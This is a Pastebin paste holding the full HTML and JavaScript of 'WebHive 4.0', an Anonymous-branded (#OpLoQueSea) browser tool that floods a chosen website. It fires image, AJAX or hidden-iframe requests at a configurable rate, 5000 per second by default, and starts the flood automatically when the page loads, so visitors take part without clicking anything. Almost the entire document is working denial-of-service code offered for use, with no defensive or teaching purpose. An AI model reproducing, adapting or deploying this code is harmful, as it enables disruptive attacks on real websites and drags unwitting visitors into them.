Advertisement
Joe_Yabuki

WebHive 4.0

Apr 2nd, 2013
31,817
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 20.30 KB | None | 0 0
  1. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-
  2.  
  3. transitional.dtd">
  4. <html xmlns="http://www.w3.org/1999/xhtml">
  5. <head>
  6. <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
  7. <title>#OpLoQueSea - Webhive 4.0</title>
  8. <link rel="icon" type="image/png" href="http://i.imgur.com/ATn9J.jpg" />
  9. <style>
  10. html {
  11. background-color:#0F1823;
  12. min-height:100%;
  13. background-image: linear-gradient(bottom, #0F1823 0%, #455463 100%);
  14. background-image: -o-linear-gradient(bottom, #0F1823 0%, #455463 100%);
  15. background-image: -moz-linear-gradient(bottom, #0F1823 0%, #455463 100%);
  16. background-image: -webkit-linear-gradient(bottom, #0F1823 0%, #455463 100%);
  17. background-image: -ms-linear-gradient(bottom, #0F1823 0%, #455463 100%);
  18. background-image: -webkit-gradient(linear, left bottom, left top, color-stop(0, #0F1823), color-stop(1,
  19.  
  20. #455463));
  21. }
  22. *, html, body {
  23. margin: 0;
  24. padding: 0;
  25. font-family: Arial, Helvetica, sans-serif;
  26. }
  27. @keyframes greenPulse {
  28. 0% { background-color: #749a02; -webkit-box-shadow:: 0 0 9px #333; }
  29. 50% { background-color: #91bd09; -webkit-box-shadow:: 0 0 18px #91bd09; }
  30. 100% { background-color: #749a02; -webkit-box-shadow:: 0 0 9px #333; }
  31. }
  32. @keyframes redPulse {
  33. 0% { background-color: #f74c44; -webkit-box-shadow:: 0 0 9px #333; }
  34. 50% { background-color: #ff3232; -webkit-box-shadow:: 0 0 18px #ff3232; }
  35. 100% { background-color: #f74c44; -webkit-box-shadow:: 0 0 9px #333; }
  36. }
  37. @-moz-keyframes greenPulse {
  38. 0% { background-color: #749a02; -webkit-box-shadow:: 0 0 9px #333; }
  39. 50% { background-color: #91bd09; -webkit-box-shadow:: 0 0 18px #91bd09; }
  40. 100% { background-color: #749a02; -webkit-box-shadow:: 0 0 9px #333; }
  41. }
  42. @-moz-keyframes redPulse {
  43. 0% { background-color: #f74c44; -webkit-box-shadow:: 0 0 9px #333; }
  44. 50% { background-color: #ff3232; -webkit-box-shadow:: 0 0 18px #ff3232; }
  45. 100% { background-color: #f74c44; -webkit-box-shadow:: 0 0 9px #333; }
  46. }
  47. @-webkit-keyframes greenPulse {
  48. 0% { background-color: #749a02; -webkit-box-shadow:: 0 0 9px #333; }
  49. 50% { background-color: #91bd09; -webkit-box-shadow:: 0 0 18px #91bd09; }
  50. 100% { background-color: #749a02; -webkit-box-shadow:: 0 0 9px #333; }
  51. }
  52. @-webkit-keyframes redPulse {
  53. 0% { background-color: #f74c44; -webkit-box-shadow:: 0 0 9px #333; }
  54. 50% { background-color: #ff3232; -webkit-box-shadow:: 0 0 18px #ff3232; }
  55. 100% { background-color: #f74c44; -webkit-box-shadow:: 0 0 9px #333; }
  56. }
  57. button#fireButton.ready {
  58. animation-name: greenPulse;
  59. animation-duration: 2s;
  60. animation-iteration-count: infinite;
  61. -moz-animation-name: greenPulse;
  62. -moz-animation-duration: 2s;
  63. -moz-animation-iteration-count: infinite;
  64. -webkit-animation-name: greenPulse;
  65. -webkit-animation-duration: 2s;
  66. -webkit-animation-iteration-count: infinite;
  67. background-color: #91BD09;
  68. -webkit-transition: background-color linear 1s;
  69. }
  70. button#firebutton:hover {
  71. background-color: yellow;
  72. -webkit-transition-duration: 2s; /* applies to the transition *to* the :hover state */
  73. }
  74. button#fireButton.working {
  75. -animation-name: redPulse;
  76. -animation-duration: 1s;
  77. -animation-iteration-count: infinite;
  78. -moz-animation-name: redPulse;
  79. -moz-animation-duration: 1s;
  80. -moz-animation-iteration-count: infinite;
  81. -webkit-animation-name: redPulse;
  82. -webkit-animation-duration: 1s;
  83. -webkit-animation-iteration-count: infinite;
  84. background-color: #ff3232;
  85. -webkit-transition: background-color linear 1s;
  86.  
  87. }
  88. button#fireButton {
  89. font-size: 14px;
  90. padding: 8px 19px 9px;
  91. display: table;
  92. color: white !important;
  93. font-size: 13px;
  94. font-weight: bold;
  95. line-height: 1;
  96. text-decoration: none;
  97. -moz-border-radius: 50px;
  98. -webkit-border-radius: 50px;
  99. border-radius: 50px;
  100. -moz-box-shadow: 0 1px 3px rgba(0,0,0,0.25);
  101. -webkit-box-shadow: 0 1px 3px rgba(0,0,0,0.25);
  102. text-shadow: 0 -1px 1px rgba(0, 0, 0, 0.25);
  103. border-bottom: 1px solid rgba(0, 0, 0, 0.25);
  104. position: relative;
  105. cursor: pointer;
  106. overflow: visible;
  107. margin: 0 auto;
  108. }
  109. div.container {
  110. padding: 10px;
  111. -webkit-border-radius: 10px;
  112. -moz-border-radius: 10px;
  113. border-radius: 10px;
  114. -webkit-box-shadow: 1px 1px 1px 1px rgba(50, 50, 50, 1), inset 2px 2px 7px #000;
  115. -moz-box-shadow: 1px 1px 1px 1px rgba(50, 50, 50, 1), inset 2px 2px 7px #000;
  116. box-shadow: 1px 1px 1px 1px rgba(50, 50, 50, 1), inset 2px 2px 7px #000;
  117. border: 2px solid #FFF;
  118. background: #f6f8f9;
  119. background: -moz-linear-gradient(top, #f6f8f9 0%, #e5ebee 50%, #d7dee3 51%, #f5f7f9 100%);
  120. background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,#f6f8f9), color-stop(50%,#e5ebee),
  121.  
  122. color-stop(51%,#d7dee3), color-stop
  123.  
  124. (100%,#f5f7f9));
  125. background: -webkit-linear-gradient(top, #f6f8f9 0%,#e5ebee 50%,#d7dee3 51%,#f5f7f9 100%);
  126. background: -o-linear-gradient(top, #f6f8f9 0%,#e5ebee 50%,#d7dee3 51%,#f5f7f9 100%);
  127. background: -ms-linear-gradient(top, #f6f8f9 0%,#e5ebee 50%,#d7dee3 51%,#f5f7f9 100%);
  128. background: linear-gradient(top, #f6f8f9 0%,#e5ebee 50%,#d7dee3 51%,#f5f7f9 100%);
  129. filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#f6f8f9', endColorstr='#f5f7f9',GradientType=0
  130.  
  131. );
  132. }
  133. #footer, #footer a, #footer a:link, #footer a:active, #footer a:visited, #footer a:hover {
  134. font-size: small;
  135. color: white;
  136. }
  137. h1 {
  138. font-size: 3.0em;
  139. font-weight: 600;
  140. color: black;
  141. position: relative;
  142. display: inline;
  143. padding: 0 1px 0 0px;
  144. margin: 0 auto;
  145. }
  146. h1::before {
  147. content: attr(title);
  148. position: absolute;
  149. color: rgba(255, 255, 255, 0.15);
  150. top: 1px;
  151. left: 1px;
  152. }
  153. input[type=text] {
  154. padding: 8px 3px;
  155. background: white;
  156. border: 1px solid #DEDEDE;
  157. color: #000;
  158. background: -webkit-gradient(linear, left top, left bottom, from(#F9F9F9), to(white));
  159. background: -moz-linear-gradient(top, #F9F9F9, white);
  160. -webkit-box-shadow: inset 1px 1px #ccc;
  161. -moz-box-shadow: inset 1px 1px #ccc;
  162. box-shadow: inset 1px 1px #ccc;
  163. -webkit-border-radius: 5px;
  164. -moz-border-radius: 5px;
  165. border-radius: 5px;
  166. }
  167. </style>
  168. </head>
  169. <body>
  170. <div style="clear: both; width: 650px; margin-left: auto; margin-right: auto; padding-top: 30px;">
  171. <h1 title="#OpLoQueSea -- WebHive">#OpLoQueSea -- WebHive</h1>
  172. <br style="clear: both;" />
  173. <div class="container" style="float: left; margin-top: 10px; width: 250px;">
  174. <label><b>Selecciona un tipo:</b><br />
  175. <select id="type" style="width: 248px;" onchange="changeType();">
  176. <option disabled="disabled"> </option>
  177. <optgroup label="Iframe HTTP Request">
  178. <option value="iframe">Iframe sst</option>
  179. </optgroup>
  180. </select>
  181. </label>
  182. <br style="clear: both;" />
  183. <br style="clear: both;" />
  184. <label><b>Selecciona una URL:</b><br />
  185. <input type="text" id="targetURL" style="width: 240px;" onkeyup="changeValue();"
  186.  
  187. value="http://Aca_va_el_target.com"/>
  188. </label>
  189. <br style="clear: both;" />
  190. <br style="clear: both;" />
  191. <label><b>Peticiones por Segundo:</b><br />
  192. <input type="text" style="width: 240px;" id="rps" value="5000" />
  193. </label>
  194. <br style="clear: both;" />
  195. <br style="clear: both;" />
  196. <label><b>Mensaje:</b><br />
  197. <input type="text" id="message" style="width: 240px;" value="Somos Anonymous, Somos Legion, No perdonamos, No olvidamos, Esperanos! Anonymous Iberoamerica" />
  198. </label>
  199. </div>
  200. <div class="container" style="float: right; margin-top: 10px; width: 250px;">
  201. <b>Status</b><br style="clear: both;" />
  202. <span style="float: left; width: 180px;">Solicitudes:</span> <span id="requestedCtr">0</span><br />
  203. <span style="float: left; width: 180px;">Target cargado:</span> <span id="succeededCtr"
  204.  
  205. style="color: green;">0</span><br />
  206. <span style="float: left; width: 180px;">Target no cargado:</span> <span id="failedCtr"
  207.  
  208. style="color: red;">0</span>
  209. <br style="clear: both;" />
  210. <br style="clear: both;" />
  211. <label><b>Listo?</b><br />
  212. <button id="fireButton" class="ready" style="width: 100px; height: 100px;"> Start Firing!
  213.  
  214. </button>
  215. </label>
  216. </div>
  217. </div>
  218. <div style="clear: both; height: 30px;"></div>
  219. <div id="currentTarget" class="container" style="margin: 0 auto; width: 626px; margin-bottom: 25px; vertical-
  220.  
  221. align: middle; line-height: 18pt; overflow: hidden; white-space: nowrap;">Target actual:
  222.  
  223. http://Aca_va_el_target.com</div>
  224. <div style="margin-left: auto; margin-right: auto; width: 200px; text-align: center;">
  225. <div id="footer" style="padding-bottom: 25px; position: relative;">
  226. <img alt="Anonymous"
  227.  
  228. src="http://i.imgur.com/4ro3NsI.png"
  229.  
  230. />
  231. <br />
  232. <script type="text/javascript">
  233. <!--
  234. var r_text = new Array();
  235. r_text[0] = "I disapprove of what you say, <br />but I will defend to the death your right to say
  236.  
  237. it.";
  238. r_text[1] = "United As One. Divided By Zero.";
  239. r_text[2] = "You cannot arrest an idea.";
  240. r_text[3] = "We are Anonymous. <br />We are legion. <br />We do not forgive. <br />We do not
  241.  
  242. forget. <br />Expect us.";
  243. r_text[4] = "Never forget to expect us.";
  244. r_text[5] = "We are one. <br />Divided by zero, <br />we become infinity!";
  245. r_text[6] = "Also c0cks!";
  246. var i = Math.floor(r_text.length*Math.random())
  247.  
  248. document.write(r_text[i]);
  249. //-->
  250. </script>
  251. </div>
  252. </div>
  253. <script type="text/javascript">
  254. var requestedCtrNode = document.getElementById("requestedCtr");
  255. var succeededCtrNode = document.getElementById("succeededCtr");
  256. var failedCtrNode = document.getElementById("failedCtr");
  257. var targetURLNode = document.getElementById("targetURL");
  258. var fireButton = document.getElementById("fireButton");
  259. var messageNode = document.getElementById("message");
  260. var rpsNode = document.getElementById("rps");
  261. var timeoutNode = document.getElementById("timeout");
  262. var typeSelectNode = document.getElementById("type");
  263. var targetURL = targetURLNode.value;
  264. var typeSelect = typeSelectNode.value;
  265. var requestedCtr = 0;
  266. var fireInterval;
  267. var isFiring = false;
  268. var currentTime = new Date()
  269. var lastSuccess = currentTime.getTime();
  270. var requestsHT = {};
  271.  
  272.  
  273. (function () {
  274. succeededCtr = 0;
  275. failedCtr = 0;
  276.  
  277. targetURLNode.onchange = function() {
  278. targetURL = this.value;
  279. };
  280.  
  281. typeSelectNode.onchange = function() {
  282. typeSelect = this.value;
  283. }
  284.  
  285. var makeAjaxGRequest = function() {
  286. if ((currentTime.getTime()-lastSuccess) > 1000) {
  287. return;
  288. } else {
  289. lastSuccess = currentTime.getTime();
  290. };
  291.  
  292. var rID = Number(new Date());
  293. msg = null;
  294.  
  295. var r;
  296. if (window.XMLHttpRequest)
  297. {
  298. r = new XMLHttpRequest();
  299. }
  300. else
  301. {
  302. r = new ActiveXObject("Microsoft.XMLHTTP");
  303. }
  304.  
  305. r.open('GET',targetURL,true);
  306. r.send(msg);
  307.  
  308. requestsHT[rID] = r;
  309. onRequest(rID);
  310. r.onerror = function () { onFail(rID); };
  311. r.onabort = function () { onFail(rID); };
  312. r.onload = function() { onSuccess(rID); };
  313. }
  314.  
  315. var makeAjaxPRequest = function() {
  316. if ((currentTime.getTime()-lastSuccess) > 1000) {
  317. return;
  318. } else {
  319. lastSuccess = currentTime.getTime();
  320. };
  321.  
  322. var rID = Number(new Date());
  323. msg = rID+'='+messageNode.value;
  324.  
  325. var r;
  326. if (window.XMLHttpRequest)
  327. {
  328. r = new XMLHttpRequest();
  329. }
  330. else
  331. {
  332. r = new ActiveXObject("Microsoft.XMLHTTP");
  333. }
  334.  
  335. r.open('POST',targetURL,true);
  336. r.send(msg);
  337.  
  338. requestsHT[rID] = r;
  339. onRequest(rID);
  340. r.onerror = function () { onFail(rID); };
  341. r.onabort = function () { onFail(rID); };
  342. r.onload = function() { onSuccess(rID); };
  343. }
  344.  
  345. var makeIframeRequest = function() {
  346. if ((currentTime.getTime()-lastSuccess) > 1000) {
  347. return;
  348. } else {
  349. lastSuccess = currentTime.getTime();
  350. };
  351.  
  352. var rID = Number(new Date());
  353. var iframe = document.createElement("iframe");
  354. iframe.setAttribute('src', targetURL+'?msg='+messageNode.value);
  355. iframe.setAttribute('style', 'border:none; overflow:hidden; width:0px; height:0px;');
  356. iframe.setAttribute('scrolling', 'no');
  357. iframe.setAttribute('id', rID);
  358. iframe.setAttribute('allowtransparency', 'true');
  359. iframe.setAttribute('frameborder', '0');
  360. document.getElementsByTagName("html")[0].appendChild(iframe);
  361.  
  362. requestsHT[rID] = iframe;
  363. onRequest(rID);
  364. iframe.onload = function () { onSuccess(rID); document.getElementsByTagName("html")
  365.  
  366. [0].removeChild(document.getElementById(rID)); };
  367. iframe.onerror = function () { onFail(rID); document.getElementsByTagName("html")[0].removeChild
  368.  
  369. (document.getElementById(rID)); };
  370. iframe.onabort = function () { onFail(rID); document.getElementsByTagName("html")[0].removeChild
  371.  
  372. (document.getElementById(rID)); };
  373. }
  374.  
  375. var makeImageRequest = function() {
  376. if ((currentTime.getTime()-lastSuccess) > 1000) {
  377. return;
  378. } else {
  379. lastSuccess = currentTime.getTime();
  380. };
  381.  
  382. var rID = Number(new Date());
  383. var img = new Image();
  384. img.setAttribute("src", targetURL + "?id=" + rID + "&msg=" + messageNode.value);
  385.  
  386. requestsHT[rID] = img;
  387. onRequest(rID);
  388. img.onerror = function () { onFail(rID); };
  389. img.onabort = function () { onFail(rID); };
  390. img.onload = function () { onSuccess(rID); };
  391. };
  392.  
  393. var onRequest = function(rID) {
  394. requestedCtr++;
  395. requestedCtrNode.innerHTML = requestedCtr;
  396. };
  397.  
  398. var onComplete = function(rID) {
  399. delete requestsHT[rID];
  400. };
  401.  
  402. var onFail = function(rID) {
  403. failedCtr++;
  404. failedCtrNode.innerHTML = failedCtr;
  405. delete requestsHT[rID];
  406. };
  407.  
  408. var onSuccess = function(rID) {
  409. succeededCtr++;
  410. succeededCtrNode.innerHTML = succeededCtr;
  411. delete requestsHT[rID];
  412. };
  413.  
  414. fireButton.onclick = function() {
  415. if (isFiring) {
  416. fireButton.className = 'ready';
  417. document.getElementById("type").disabled=false;
  418. document.getElementById("targetURL").disabled=false;
  419. document.getElementById("rps").disabled=false;
  420. document.getElementById("message").disabled=false;
  421. clearInterval(fireInterval);
  422. isFiring = false;
  423. this.innerHTML = "Disparar de Nuevo!";
  424. } else {
  425. fireButton.className = 'working';
  426. document.getElementById("type").disabled=true;
  427. document.getElementById("targetURL").disabled=true;
  428. document.getElementById("rps").disabled=true;
  429. document.getElementById("message").disabled=true;
  430. isFiring = true;
  431. this.innerHTML = "Dejar de Disparar!";
  432.  
  433. var interval = (1000 / parseInt(rpsNode.value) | 0);
  434.  
  435. switch(typeSelect) {
  436. case 'image':
  437. fireInterval = setInterval(makeImageRequest, interval);
  438. break;
  439. case 'ajaxget':
  440. fireInterval = setInterval(makeAjaxGRequest, interval);
  441. break;
  442. case 'ajaxpost':
  443. fireInterval = setInterval(makeAjaxPRequest, interval);
  444. break;
  445. case 'iframe':
  446. fireInterval = setInterval(makeIframeRequest, interval);
  447. break;
  448. default:
  449. fireInterval = setInterval(makeImageRequest, interval);
  450. }
  451. }
  452. };
  453. function auto_start(){
  454. if (isFiring) {
  455. fireButton.className = 'ready';
  456. document.getElementById("type").disabled=false;
  457. document.getElementById("targetURL").disabled=false;
  458. document.getElementById("rps").disabled=false;
  459. document.getElementById("message").disabled=false;
  460. clearInterval(fireInterval);
  461. isFiring = false;
  462. fireButton.innerHTML = "Disparar de Nuevo!";
  463. } else {
  464. fireButton.className = 'working';
  465. document.getElementById("type").disabled=true;
  466. document.getElementById("targetURL").disabled=true;
  467. document.getElementById("rps").disabled=true;
  468. document.getElementById("message").disabled=true;
  469. isFiring = true;
  470. fireButton.innerHTML = "Dejar de Disparar!";
  471.  
  472. var interval = (1000 / parseInt(rpsNode.value) | 0);
  473.  
  474. switch(typeSelect) {
  475. case 'image':
  476. fireInterval = setInterval(makeImageRequest, interval);
  477. break;
  478. case 'ajaxget':
  479. fireInterval = setInterval(makeAjaxGRequest, interval);
  480. break;
  481. case 'ajaxpost':
  482. fireInterval = setInterval(makeAjaxPRequest, interval);
  483. break;
  484. case 'iframe':
  485. fireInterval = setInterval(makeIframeRequest, interval);
  486. break;
  487. default:
  488. fireInterval = setInterval(makeImageRequest, interval);
  489. }
  490. }
  491. }
  492.  
  493. auto_start();
  494. })();
  495.  
  496. function changeValue(){
  497. targetURL = document.getElementById("targetURL").value;
  498. document.getElementById("currentTarget").innerHTML = ("Current target: " + targetURL);
  499. }
  500.  
  501.  
  502. function changeType(){
  503. typeSelect = document.getElementById("type").value;
  504. }
  505. </script>
  506. </body>
  507. </html>
  508. <!-- Hosting24 Analytics Code -->
  509. <script type="text/javascript" src="http://stats.hosting24.com/count.php"></script>
  510. <!-- End Of Analytics Code -->
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement